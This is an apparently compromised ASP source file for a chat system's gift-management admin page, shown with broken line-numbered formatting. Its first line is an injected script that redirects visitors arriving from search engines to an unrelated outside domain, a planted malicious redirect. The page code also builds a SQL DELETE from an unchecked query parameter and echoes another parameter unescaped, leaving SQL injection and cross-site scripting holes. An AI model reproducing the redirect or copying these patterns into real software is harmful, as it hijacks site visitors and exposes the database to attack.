d:\wwwroot\wuchunhua\liaotianim\system_manage\Gift_Manage.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="../inc/md5.asp"-->
003:
<!--#include file="../inc/page.asp"-->
004:
<!--#include file="Check.asp"-->
005:
<%
006:
Dim ConfigRS
007:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
008:
if request.form("Method")="AddGift" then
009:
ConfigRS.OPEN "select top 1 * from [XK_Gift]" , DB_CONN , 1 , 3
010:
ConfigRS.addnew()
011:
ConfigRS("Gift_ID")=request.form("Gift_ID")
012:
ConfigRS("Gift_Name")=request.form("Gift_Name")
013:
ConfigRS("Gift_Price")=request.form("Gift_Price")
014:
ConfigRS("Gift_Top")=request.form("Gift_Top")
015:
ConfigRS("Gift_Sort")=request.form("Gift_Sort")
016:
ConfigRS.update()
017:
ConfigRS.close()
018:
RW "<script>location.href='Gift_Manage.asp?t="&request.QueryString("t")&"';</script>":response.end()
019:
end if
020:
021:
if request.QueryString("Method")="Del" then
022:
DB_CONN.EXECUTE("delete from [XK_Gift] where [ID]="&request.QueryString("ID"))
023:
RW "<script>location.href='Gift_Manage.asp?t="&request.QueryString("t")&"';</script>":response.end()
024:
end if
025:
026:
if request.QueryString("t")="0" then
027:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Gift] where [Gift_Top]=0 order by [Gift_Sort] desc")
028:
elseif request.QueryString("t")="1" then
029:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Gift] where [Gift_Top]=1 order by [Gift_Sort] desc")
030:
else
031:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Gift] order by [Gift_Sort] desc,[Gift_Top] desc")
032:
end if
033:
ConfigRS.pagesize=20
034:
if isempty(request("page")) or request("page")="" then curpage=1 else curpage=Cint(request("page")) end if
035:
if not ConfigRS.eof then ConfigRS.absolutepage = curpage
036:
037:
%
>
038:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
039:
<html xmlns="http://www.w3.org/1999/xhtml">
040:
<head>
041:
<title>ImChat v1.5 Manage System</title>
042:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
043:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
044:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
045:
<style>
046:
.JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
047:
.JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
048:
</style>
049:
</head>
050:
<body>
051:
<div class="contentcontainer">
052:
<div class="headings alt">
053:
<h2>礼物管理 <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a> <a href="Gift_Manage.asp?t=0" style="text-decoration:none;">普通礼物</a> <a href="Gift_Manage.asp?t=1" style="text-decoration:none;">推荐礼物</a> <a href="GiftPost_Manage.asp?t=1" style="text-decoration:none;">礼物赠送记录</a></h2>
054:
</div>
055:
<div class="contentbox">
056:
<table class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
057:
<th colspan="10">礼物列表</th>
058:
<tr>
059:
<td>ID</td>
060:
<td>图片</td>
061:
<td>名称</td>
062:
<td>价格</td>
063:
<td>推荐</td>
064:
<td>排序</td>
065:
<td>操作</td>
066:
</tr>
067:
<%
068:
dim iPage
069:
while (not ConfigRS.eof and iPage<ConfigRS.pagesize )
070:
%
>
071:
<tr>
072:
<td>
<%
=ConfigRS("Gift_ID")
%
></td>
073:
<td> <img src="../images/gift/
<%
=ConfigRS("Gift_ID")
%
>.bmp"> <img style="border:#eee solid 1px;padding:2px;" src="../images/gift/
<%
=ConfigRS("Gift_ID")
%
>.gif"></td>
074:
<td>
<%
=ConfigRS("Gift_Name")
%
></td>
075:
<td>
<%
=ConfigRS("Gift_Price")
%
></td>
076:
<td>
<%
if ConfigRS("Gift_Top")="0" then RW "否" else RW "<font color=red>是</font>" end if
%
></td>
077:
<td>
<%
=ConfigRS("Gift_Sort")
%
></td>
078:
<td> <a href="?Method=Del&t=
<%
=request.QueryString("t")
%
>&ID=
<%
=ConfigRS("ID")
%
>" onclick="return confirm('确认要删除吗?');">删除</a> <a href="EditGift.asp?Gift_ID=
<%
=ConfigRS("ID")
%
>&t=
<%
=request.QueryString("t")
%
>">编辑</a>
079:
</td>
080:
</tr>
081:
<%
082:
iPage=iPage+1
083:
ConfigRS.MoveNext
084:
wend
085:
%
>
086:
<tr>
087:
<td colspan="10">
<%
=ExportPageInfo(ConfigRS,curpage,iPage,"Gift_Manage.asp?1=1"&replace(Request.QueryString,"page","1")&"&")
%
></td>
088:
</tr>
089:
</table>
090:
091:
<form action="#" method="post" >
092:
<table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
093:
<tr>
094:
<td width="350">
095:
<label for="Gift_ID"><strong>礼物ID(对应images/gift/中的图片名称):</strong></label>
096:
<input type="text" id="Gift_ID" name="Gift_ID" class="inputbox" value=""/>
097:
</td>
098:
<td>
099:
<label for="Gift_Name"><strong>礼物名称:</strong></label>
100:
<input type="text" id="Gift_Name" name="Gift_Name" class="inputbox" value=""/>
101:
</td>
102:
</tr>
103:
<tr>
104:
<td width="350">
105:
<label for="Gift_Price"><strong>礼物价格(数字):</strong></label>
106:
<input type="text" id="Gift_Price" name="Gift_Price" class="inputbox" value="10"/>
107:
</td>
108:
<td>
109:
<label for="Gift_Top"><strong>是否推荐:(推荐礼物显示在用户列表下)</strong></label>
110:
<select id="Gift_Top" name="Gift_Top">
111:
<option value="0">否</option>
112:
<option value="1">是</option>
113:
</select>
114:
</td>
115:
</tr>
116:
<tr>
117:
<td clospan="2">
118:
<label for="Gift_Sort"><strong>排序(数字):</strong></label>
119:
<input type="text" id="Gift_Sort" name="Gift_Sort" class="inputbox" value="0"/>
120:
</td>
121:
</tr>
122:
<tr>
123:
<td colspan="2">
124:
<input type="hidden" value="AddGift" name="Method"/>
125:
<input type="submit" value="新增" class="btn" />
126:
</td>
127:
</tr>
128:
</table>
129:
</form>
130:
</div>
131:
</div>
132:
</body>
133:
</html>
134:
135:
136: